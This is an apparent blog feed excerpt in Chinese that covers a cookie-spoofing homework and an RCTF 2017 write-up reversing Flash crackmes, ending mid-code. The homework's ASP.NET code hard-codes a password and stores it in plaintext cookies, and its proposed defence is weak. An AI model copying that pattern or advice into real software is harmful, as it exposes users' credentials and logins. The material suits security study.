class="keyword">if</span> (labpwd.Text==<span class="string">&quot;linlihui36+&quot;</span>)&#123;</span><br><span class="line">      <span class="built_in">string</span> curuser=labuser.Text;  </span><br><span class="line">                   Label3.Text=<span class="string">&quot;登录成功,欢迎你,linlihui!&quot;</span>;</span><br><span class="line">   Response.Cookies.Add(<span class="keyword">new</span> HttpCookie(<span class="string">&quot;User&quot;</span>,username));</span><br><span class="line">   Response.Cookies.Add(<span class="keyword">new</span> HttpCookie(<span class="string">&quot;Password&quot;</span>,labpwd.Text));</span><br><span class="line">   <span class="built_in">int</span> CarCookieExpires = <span class="number">30</span>; <span class="comment">//Expires</span></span><br><span class="line">   Response.Cookies[<span class="string">&quot;Password&quot;</span>].Expires =  DateTime.Now.AddDays(CarCookieExpires);</span><br><span class="line">   Response.Cookies[<span class="string">&quot;User&quot;</span>].Expires =  DateTime.Now.AddDays(CarCookieExpires);</span><br><span class="line">&#125;</span><br><span class="line">               <span class="keyword">else</span>  </span><br><span class="line">               &#123;  </span><br><span class="line">                   Label3.Text=<span class="string">&quot;用户名或者密码错误!&quot;</span>;  </span><br><span class="line">               &#125;  </span><br><span class="line">           &#125;  </span><br><span class="line">           <span class="keyword">catch</span>  </span><br><span class="line">           &#123;  </span><br><span class="line">               Label3.Text=<span class="string">&quot;Sorry!你输入的用户名不存在!&quot;</span>;  </span><br><span class="line">                 </span><br><span class="line">           &#125;  </span><br><span class="line"></span><br><span class="line">       &#125;  </span><br><span class="line">         </span><br><span class="line">   &#125;  </span><br><span class="line">&#125;  </span><br></pre></td></tr></table></figure><p>简直多坑。。。现在才知道原来</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;%@ Page Language=&quot;C#&quot; Debug=&quot;True&quot; AutoEventWireup=&quot;true&quot; CodeFile=&quot;Login.aspx.cs&quot; Inherits=&quot;Login&quot; %&gt;  </span><br></pre></td></tr></table></figure><p>这句话的意思是，本页面中的<strong>嵌入脚本语言为C#</strong>，然后<strong>与文件Login.aspx.cs交互</strong><br>网络拓扑图大概就是:<br><img src="/2017/05/24/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%A4%A7%E4%BD%9C%E4%B8%9A6-cookie%E6%AC%BA%E9%AA%97%E6%94%BB%E5%87%BB/cookies06.png" alt=""><br>页面逻辑为:<br><img src="/2017/05/24/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%A4%A7%E4%BD%9C%E4%B8%9A6-cookie%E6%AC%BA%E9%AA%97%E6%94%BB%E5%87%BB/cookies07.png" alt=""></p><p>下面是运行截图:<br>初次登陆的时候，没有提示内容，要求登陆。密码为固定的llh111：<br><img src="/2017/05/24/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%A4%A7%E4%BD%9C%E4%B8%9A6-cookie%E6%AC%BA%E9%AA%97%E6%94%BB%E5%87%BB/cookies08.png" alt=""><br>登陆完成后，再次登陆，会提示当前用户已经登陆:<br><img src="/2017/05/24/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%A4%A7%E4%BD%9C%E4%B8%9A6-cookie%E6%AC%BA%E9%AA%97%E6%94%BB%E5%87%BB/cookies09.png" alt=""><br>然后，我们使用插件修改了cookies的内容<br><img src="/2017/05/24/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%A4%A7%E4%BD%9C%E4%B8%9A6-cookie%E6%AC%BA%E9%AA%97%E6%94%BB%E5%87%BB/cookies10.png" alt=""><br>此时刷新界面:<br><img src="/2017/05/24/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%A4%A7%E4%BD%9C%E4%B8%9A6-cookie%E6%AC%BA%E9%AA%97%E6%94%BB%E5%87%BB/cookies11.png" alt=""><br>成功伪造登陆。<br>与此同时，在服务器端，防火墙并没有做出反应，说明此伪造能够绕过最基本的防火墙:<br><img src="/2017/05/24/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%A4%A7%E4%BD%9C%E4%B8%9A6-cookie%E6%AC%BA%E9%AA%97%E6%94%BB%E5%87%BB/cookies12.png" alt=""></p><p>防御方法: 把密码同时存入cookies，然后在cookie验证时候，同时验证对应的username和密码是否匹配即可。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;大佬同学学校就是不一样。。都是实践类的作业做的累死了。。。&lt;/p&gt;</summary>
    
    
    
    <category term="网络安全" scheme="https://showlinkroom.me/categories/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/"/>
    
    
    <category term="cookies" scheme="https://showlinkroom.me/tags/cookies/"/>
    
  </entry>
  
  <entry>
    <title>RCTF2017</title>
    <link href="https://showlinkroom.me/2017/05/22/RCTF2017/"/>
    <id>https://showlinkroom.me/2017/05/22/RCTF2017/</id>
    <published>2017-05-22T14:47:46.000Z</published>
    <updated>2020-07-16T13:31:30.408Z</updated>
    
    <content type="html"><![CDATA[<p>吐槽一下自己这么久都没有写文章了怕是变懒了。。。</p><h2 id="more-rctf2017"><span id="more"></span><br>RCTF2017</h2><p>这个RCTF2017其实蛮有意思的，题目种类非常多，但是我不知怎么的陷入了Reverse的坑？！说好的pwn手呢。。。。而且比赛最后10分钟结束前极限做出最后一题也没能挽救30开外的结局啊。。。</p><h2 id="baby-flash">baby flash</h2><p>flahs的题目嘛。。没怎么见过，花了不少时间熟悉工具:<br>运行swf后，发现是让我们输入flag。那么应该是在后台有一个比对的过程。<br>找了个半天发现也就一个叫做<strong>JPEXS</strong>的好用。<br>反编译后大致检查一下，找打一个奇怪的数据包叫<strong>MyCPP</strong>，检查内部函数，可以发现一个叫做check的函数，里面对字符串的处理逻辑为:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line">import C_Run_D_3A__2F_software_2F_Tools_2F_CrossBridge_2F_cygwin_2F_tmp_2F_cc9QAEpL_2E_o_3A_d1fd6bd0_2D_036b_2D_49da_2D_bcfb_2D_b5dce5104397.L__2E_str4;</span><br><span class="line">import C_Run_D_3A__2F_software_2F_Tools_2F_CrossBridge_2F_cygwin_2F_tmp_2F_cc9QAEpL_2E_o_3A_d1fd6bd0_2D_036b_2D_49da_2D_bcfb_2D_b5dce5104397.L__2E_str5;</span><br><span class="line">import C_Run_D_3A__2F_software_2F_Tools_2F_CrossBridge_2F_cygwin_2F_tmp_2F_cc9QAEpL_2E_o_3A_d1fd6bd0_2D_036b_2D_49da_2D_bcfb_2D_b5dce5104397.L__2E_str6;</span><br><span class="line"></span><br><span class="line">ublic function check(src:String) : void</span><br><span class="line">   &#123;</span><br><span class="line">      ...</span><br><span class="line">      i0 = CModule.mallocString(src);// creaet string to i0</span><br><span class="line">      si32(i0,ebp - 4);// mov string [ebp - 4]</span><br><span class="line">      i0 = li32(ebp - 4);// mov i0 [ebp - 4]</span><br><span class="line">      esp = int(esp - 16);// sub esp -16</span><br><span class="line">      si32(i0,esp);// mov i</span><br><span class="line">      ESP = esp;</span><br><span class="line">      F_puts();// print i0</span><br><span class="line">      esp = int(esp + 16);// add esp 16</span><br><span class="line">      int(eax);// eax to int</span><br><span class="line">      i0 = li32(ebp - 4);// mov i0 [ebp - 4]</span><br><span class="line">      esp = int(esp - 16);// move esp [esp - 16]</span><br><span class="line">      si32(i0,esp + 4);</span><br><span class="line">      si32(L__2E_str4,esp);</span><br><span class="line">      // 将L__2E_str4 与i0中字符串比较</span><br><span class="line">      ESP = esp;</span><br><span class="line">      F_strcmp();</span><br><span class="line">      esp = int(esp + 16);</span><br><span class="line">      i0 = eax;</span><br><span class="line">      // 如果此时返回值不为0(不相等)那么输出right</span><br><span class="line">   ...</span><br><span class="line"></span><br></pre></td></tr></table></figure><p><img src="/2017/05/22/RCTF2017/flash00.png" alt=""><br>包的名字很长，可能是加密处理过（？），从中我们可以猜测，这个函数就是对输入的字符串与变量L__2E_str6处理进行比较。这里由于JPEXS的数据处理不太好。不能直接找到字符串所在的位置。不过顺着类的名字找到对应的数据包，里面有相关字符串的声明:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">L__2E_str4:</span><br><span class="line">   [Csym(&quot;.rodata&quot;)]</span><br><span class="line">   public const L__2E_str4:int = S__2E_rodata + 0;</span><br><span class="line"></span><br><span class="line">L__2E_str5:</span><br><span class="line">   [Csym(&quot;.rodata.str1.1&quot;)]</span><br><span class="line">   public const L__2E_str5:int = S__2E_rodata_2E_str1_2E_1 + 0;&quot;Right&quot;</span><br><span class="line"></span><br><span class="line">L__2E_str6:</span><br><span class="line">   [Csym(&quot;.rodata.str1.1&quot;)]</span><br><span class="line">   public const L__2E_str6:int = S__2E_rodata_2E_str1_2E_1 + 7;&quot;Try again!&quot;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>从这个地方还不能找到对应的数据段，他这个JPEXS真难用。。巧合的是，我们能够找到一个位置：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line">package C_Run_D_3A__2F_software_2F_Tools_2F_CrossBridge_2F_cygwin_2F_tmp_2F_cc9QAEpL_2E_o_3A_d1fd6bd0_2D_036b_2D_49da_2D_bcfb_2D_b5dce5104397</span><br><span class="line">&#123;</span><br><span class="line">   import com.adobe.flascc.CModule;</span><br><span class="line">   </span><br><span class="line">   [ExecPolicy(OSR=&quot;2&quot;)]</span><br><span class="line">   function modAllocSects() : Object</span><br><span class="line">   &#123;</span><br><span class="line">      return &#123;</span><br><span class="line">         &quot;.data&quot;:[CModule.allocDataSect(modPkgName,&quot;.data&quot;,0,0),0],</span><br><span class="line">         &quot;.debug_abbrev&quot;:[CModule.allocDataSect(modPkgName,&quot;.debug_abbrev&quot;,175,0),175],      DS2</span><br><span class="line">         &quot;.debug_frame&quot;:[CModule.allocDataSect(modPkgName,&quot;.debug_frame&quot;,80,4),80],          DS5</span><br><span class="line">         &quot;.debug_info&quot;:[CModule.allocDataSect(modPkgName,&quot;.debug_info&quot;,426,0),426],          DS3</span><br><span class="line">         &quot;.debug_line&quot;:[CModule.allocDataSect(modPkgName,&quot;.debug_line&quot;,92,0),92],            DS4</span><br><span class="line">         &quot;.debug_loc&quot;:[CModule.allocDataSect(modPkgName,&quot;.debug_loc&quot;,0,0),0],</span><br><span class="line">         &quot;.debug_pubnames&quot;:[CModule.allocDataSect(modPkgName,&quot;.debug_pubnames&quot;,48,0),48],    DS6</span><br><span class="line">         &quot;.debug_pubtypes&quot;:[CModule.allocDataSect(modPkgName,&quot;.debug_pubtypes&quot;,18,0),18],    DS7/DS12</span><br><span class="line">         &quot;.debug_ranges&quot;:[CModule.allocDataSect(modPkgName,&quot;.debug_ranges&quot;,0,0),0],</span><br><span class="line">         &quot;.debug_str&quot;:[CModule.allocDataSect(modPkgName,&quot;.debug_str&quot;,0,0),0],</span><br><span class="line">         &quot;.rodata&quot;:[CModule.allocDataSect(modPkgName,&quot;.rodata&quot;,34,16),34],                   DS1</span><br><span class="line">         &quot;.rodata.str1.1&quot;:[CModule.allocDataSect(modPkgName,&quot;.rodata.str1.1&quot;,18,0),18],      DS12/DS7</span><br><span class="line">         &quot;.rodata.str1.16&quot;:[CModule.allocDataSect(modPkgName,&quot;.rodata.str1.16&quot;,110,16),110], DS11</span><br><span class="line">         &quot;.text&quot;:[CModule.allocTextSect(modPkgName,&quot;.text&quot;,664),664]</span><br><span class="line">      &#125;;</span><br><span class="line">   &#125;</span><br></pre></td></tr></table></figure><p><img src="/2017/05/22/RCTF2017/flash01.png" alt=""><br>由于工具翻译不全，在<strong>二进制数据</strong>选项中，通过比较数据的大小，能够确定DS1就是[.rodata]段数据<br>这个地方可以看到，这个L__2E_str4对应的字符串的内容为:<br>RCTF{_Dyiin9__F1ash__1ike5_CPP}<br>最初以为这就是答案，提交后发现不对。。。<br>于是重新怀疑函数strcmp可能是<strong>重载</strong>的。于是再次找到对应函数的位置:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br></pre></td><td class="code"><pre><span class="line">public function F_strcmp() : void</span><br><span class="line">   &#123;</span><br><span class="line">      var ebp:* = 0;</span><br><span class="line">      var i2:int = 0;</span><br><span class="line">      var esp:* = int(ESP);</span><br><span class="line">      ebp = esp;</span><br><span class="line">      esp = int(esp - 44);</span><br><span class="line">      si32(int(li32(ebp)),ebp - 4);  // mov rctf, ebp - 4</span><br><span class="line">      si32(int(li32(ebp + 4)),ebp - 8);  // mov input, ebp - 8</span><br><span class="line">      si32(int(li32(ebp - 4)),ebp - 24);  // mov ebp - 4, ebp - 24</span><br><span class="line">      si32(int(li32(ebp - 8)),ebp - 28);  // mov ebp - 8, ebp - 28</span><br><span class="line">      si32(2,ebp - 32);  // mov 2 ebp - 32;var0 = 2</span><br><span class="line">      si32(3,ebp - 36);  // mov 3 ebp - 36;var1 = 3</span><br><span class="line">      si32(0,ebp - 40);  // mov 0 ebp - 40;index = 0</span><br><span class="line">      si32(0,ebp - 44);  // mov 0 ebp - 44;var3 = 0</span><br><span class="line">      while(int(li8(int(li32(ebp - 24)))) != 0)// while(rctf[i]!=&#x27;\x00&#x27;)</span><br><span class="line">      &#123;</span><br><span class="line">         if(int(li8(int(li32(ebp - 28)))) == 0)// if(input[i] == &#x27;\x00&#x27;)</span><br><span class="line">         &#123;</span><br><span class="line">            break;// break</span><br><span class="line">         &#125;</span><br><span class="line">         var i1:int = li8(int(li32(ebp - 28)));// i1 = input[i]</span><br><span class="line">         if(int(li8(int(li32(ebp - 24)))) == i1)// if(i1 == rcft[i])</span><br><span class="line">         &#123;</span><br><span class="line">            var i0:int = li32(ebp - 40);// i0 = index;</span><br><span class="line">            i2 = 1;// i2 = 1;</span><br><span class="line">            if(i0 != int(int(li32(ebp - 32)) &lt;&lt; 1))// i0= !(var0&lt;&lt;2)</span><br><span class="line">            &#123;</span><br><span class="line">               i2 = 0;// i2 = 0</span><br><span class="line">            &#125;</span><br><span class="line">            i0 = i2 &amp; 1;// i0 = i2 &amp; 1</span><br><span class="line">            si8(i0,ebp - 17);// mov i0, ebp - 17</span><br><span class="line">            i0 = li32(ebp - 40);// -------</span><br><span class="line">            i0 = i0 + 1;// index ++</span><br><span class="line">            si32(i0,ebp - 40);// -------</span><br><span class="line">            i0 = li8(ebp - 17);// i0 = ebp - 17</span><br><span class="line">            if(i0 != 0)</span><br><span class="line">            &#123;</span><br><span class="line">               si32(int(int(li32(ebp - 24)) + 1),ebp - 24);//*rctf++</span><br><span class="line">               si32(int(int(li32(ebp - 32)) + int(li32(ebp - 36))),ebp - 44);   //var3 = var0 + var1</span><br><span class="line">               si32(int(li32(ebp - 36)),ebp - 32);//var0 = var1</span><br><span class="line">               si32(int(li32(ebp - 44)),ebp - 36);//var1 = var3</span><br><span class="line">            &#125;</span><br><span class="line">            si32(int(int(li32(ebp - 24)) + 1),ebp - 24);// *rctf++</span><br><span class="line">            si32(int(int(li32(ebp - 28)) + 1),ebp - 28);// *input++</span><br><span class="line">            continue;</span><br><span class="line">         &#125;</span><br><span class="line">         break;</span><br><span class="line">      &#125;</span><br><span class="line">      i0 = si8(li8(int(li32(ebp - 28))));</span><br><span class="line">      si32(int(int(si8(li8(int(li32(ebp - 24))))) - i0),ebp - 16);// 求出最后字符串的差距</span><br><span class="line">      si32(int(li32(ebp - 16)),ebp - 12);</span><br><span class="line">      eax = int(li32(ebp - 12));</span><br><span class="line">      esp = ebp;</span><br><span class="line">      ESP = esp;</span><br><span class="line">   &#125;</span><br></pre></td></tr></table></figure><p>由备注可知，这个函数会将字符串的部分内容省略。于是此时我们编写脚本反向处理:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line">var0 = <span class="number">2</span></span><br><span class="line">var1 = <span class="number">3</span></span><br><span class="line">var3 = <span class="number">0</span></span><br><span class="line">index = <span class="number">0</span></span><br><span class="line">t_i = <span class="number">0</span></span><br><span class="line">index = <span class="number">0</span></span><br><span class="line">t = <span class="string">r&quot;RCTF&#123;_Dyiin9__F1ash__1ike5_CPP&#125;&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">while</span> t_i &lt; <span class="built_in">len</span>(t):</span><br><span class="line">   i1 = t[t_i]</span><br><span class="line">   <span class="built_in">print</span>(i1,end = <span class="string">&#x27;&#x27;</span>)</span><br><span class="line">   i0 = indexe</span><br><span class="line">   i2 = <span class="number">1</span></span><br><span class="line">   <span class="keyword">if</span> i0 != (var0&lt;&lt;<span class="number">1</span>):</span><br><span class="line">      i2 = <span class="number">0</span></span><br><span class="line">   i0 = (i2 &amp; <span class="number">1</span>)</span><br><span class="line">   temp = i0</span><br><span class="line">   index+=<span class="number">1</span></span><br><span class="line">   temp = i0</span><br><span class="line">   <span class="keyword">if</span> temp != <span class="number">0</span>:</span><br><span class="line">      t_i += <span class="number">1</span></span><br><span class="line">      var3 = var0 + var1</span><br><span class="line">      var0 = var1</span><br><span class="line">      var1 = var3</span><br><span class="line">   t_i+=<span class="number">1</span></span><br></pre></td></tr></table></figure><p>最终得到答案<br>RCTF{Dyin9_F1ash_1ike5_CPP}</p><p>这一题第一天花了我差不多6个小时，最后居然分数只剩230多。。。。我的天有没有那么简单。。。。不过我真是太naive了，因为马上就有更难的flash出现了。。。</p><h2 id="actually-cpp">actually cpp</h2><p>发现和和上个flash逻辑几乎一样，也是有一个check函数。于是用JPEXS查看逻辑:</p><h3 id="check">check</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br></pre></td><td class="code"><pre><span class="line">package MyCPP</span><br><span class="line">&#123;</span><br><span class="line">...</span><br><span class="line">   public function check(src:String) : void</span><br><span class="line">   &#123;</span><br><span class="line">    </span><br><span class="line">      /******************</span><br><span class="line">       * ebp - 8: inputString</span><br><span class="line">       * ebp - 4:str7</span><br><span class="line">       ******************/</span><br><span class="line">    </span><br><span class="line">      F_puts();// 输出我们输入的字符串字符串</span><br><span class="line">      esp = int(esp + 16);</span><br><span class="line">      int(eax);</span><br><span class="line">      i2 = ebp - 24;</span><br><span class="line">      i3 = ebp - 40;</span><br><span class="line">      // ******* 以下重点 ***********</span><br><span class="line">      si32(-536244034,ebp - 12); e00990be</span><br><span class="line">      si32(2108577555,ebp - 16); 7dae5713</span><br><span class="line">      si32(-1182021347,ebp - 20);b98bc91d</span><br><span class="line">      si32(-1993905352,ebp - 24);89276b38</span><br><span class="line">i2-----&gt;</span><br><span class="line">      si32(252579084,ebp - 28); f0e0d0c</span><br><span class="line">      si32(185207048,ebp - 32); b0a0908</span><br><span class="line">      si32(117835012,ebp - 36); 7060504</span><br><span class="line">      si32(50462976,ebp - 40);  3020100</span><br><span class="line">i3-----&gt;</span><br><span class="line"></span><br><span class="line">      i0 = li32(ebp - 8);</span><br><span class="line">i0 = inputStrnig</span><br><span class="line">      esp = int(esp - 16);</span><br><span class="line">      si32(i0,esp);</span><br><span class="line">      ESP = esp;</span><br><span class="line">      F_strlen();// 读出字符串的长度</span><br><span class="line">      /*******************</span><br><span class="line">       * ebp - 44 : strlen(inputString)</span><br><span class="line">       *******************/</span><br><span class="line">      ...</span><br><span class="line">      </span><br><span class="line">--------------------</span><br><span class="line">brainfuck(str8, i2)</span><br><span class="line">--------------------</span><br><span class="line">      F_malloc();</span><br><span class="line">-----------------</span><br><span class="line">i0 = malloc(64)</span><br><span class="line">-----------------</span><br><span class="line">...</span><br><span class="line">      /******************</span><br><span class="line">       * ebp - 48 : mallocString</span><br><span class="line">       ******************/</span><br><span class="line">       ...</span><br><span class="line">------------------</span><br><span class="line">memset(mallocString, 0, 64);</span><br><span class="line">------------------</span><br><span class="line">      ...</span><br><span class="line">i0 = inputString</span><br><span class="line">i5 = mallocString</span><br><span class="line">...</span><br><span class="line">--------------------</span><br><span class="line">AES123_CBC_encrypt_buffer(mallocString, inputString, strlenOfinputString, i2, i3)</span><br><span class="line">--------------------</span><br><span class="line">      esp = int(esp + 32);</span><br><span class="line">      i0 = li32(ebp - 4);</span><br><span class="line"> i0 = str7</span><br><span class="line">      esp = int(esp - 16);</span><br><span class="line">      si32(64,esp + 8);</span><br><span class="line">      si32(int(li32(ebp - 48)),esp + 4);</span><br><span class="line">      si32(i0,esp);</span><br><span class="line">      ESP = esp;</span><br><span class="line">      F_memcmp();</span><br><span class="line">------------------------------</span><br><span class="line">memcmp(str7, mallocString, 64);</span><br><span class="line">------------------------------</span><br><span class="line"> ...</span><br><span class="line">      F_free();</span><br><span class="line">      esp = int(esp + 16);</span><br><span class="line">      esp = ebp;</span><br><span class="line">      ESP = esp;</span><br><span class="line">      return _as3ReturnValue;</span><br><span class="line">   &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>上述大致的逻辑如上，也就是</p><ul><li>【读取输入字符串】</li><li>【将str8和i2传入brainfuck函数】</li><li>【申请mallocString的字符串，将加密后的字符串放入str7】</li><li>【将加密后的字符串与str7比较】</li></ul><p>（我擦敢不敢再复杂一点！！！又是brainfuck又是加密的！！！）关键的字符串就是str7和str8，于是在JPEXS中找到对应数据段的数据:</p><p>str7:&quot;.rodata.str1.16&quot;<br>str8:&quot;.rodata.str1.16&quot;<br>public const str7:int = S__2E_rodata_2E_str1_2E_16 + 144;<br>public const str8:int = S__2E_rodata_2E_str1_2E_16 + 224;<br><img src="/2017/05/22/RCTF2017/actuallycpp01.png" alt=""><br>这个str8是典型的brainfuck，但是整个执行过程有点奇怪:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">str8 = &gt;&gt;&gt;&gt;&gt;+++++&lt;&lt;&lt;&lt;-----&gt;&gt;&gt;++&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;-----</span><br></pre></td></tr></table></figure><p>这段内容显然是不含有输入的，那么只能猜测这个brainfuck其实会作用在我们输入的另一个字符串上。于是继续分析下列代码:</p><h3 id="brainfuck">brainfuck</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br></pre></td><td class="code"><pre><span class="line">package C_Run</span><br><span class="line">&#123;</span><br><span class="line">   /************************</span><br><span class="line">    * str8: real brain fuck</span><br><span class="line">    * i2: magic number</span><br><span class="line">    ***********************/</span><br><span class="line">   public function F__Z9brainfuckPKcPh(str8, i2) : void</span><br><span class="line">   &#123;</span><br><span class="line">      var ebp:* = 0;</span><br><span class="line">      var i1:int = 0;</span><br><span class="line">      var esp:* = int(ESP);</span><br><span class="line">      ebp = esp;</span><br><span class="line">      /******************************</span><br><span class="line">       * ebp - 4 :str8</span><br><span class="line">       * ebp - 8 :i2</span><br><span class="line">       * ebp - 16:str8</span><br><span class="line">       * ebp - 20:i2</span><br><span class="line">       ******************************/</span><br><span class="line">      while(int(li8(int(li32(ebp - 16)))) != 0)while(*str8!=0)</span><br><span class="line">      &#123;</span><br><span class="line">         si32(int(si8(li8(int(li32(ebp - 16))))),ebp - 12);ebp - 12 = *str8</span><br><span class="line">         /*****************************</span><br><span class="line">          * ebp - 12: str8[i]</span><br><span class="line">          *****************************/</span><br><span class="line"></span><br><span class="line">         si32(int(int(li32(ebp - 16)) + 1),ebp - 16);str8++</span><br><span class="line">         i1 = li32(ebp - 12);i1 = ebp - 12(str8[i])</span><br><span class="line">         if(i1 &gt; 45)//如果不为+或者-</span><br><span class="line">         &#123;</span><br><span class="line">            if(i1 == 46)//如果为.（这段实际上没有用到，跳过）</span><br><span class="line">            &#123;</span><br><span class="line">             ...   </span><br><span class="line">            &#125;</span><br><span class="line">            else if(i1 == 60) // 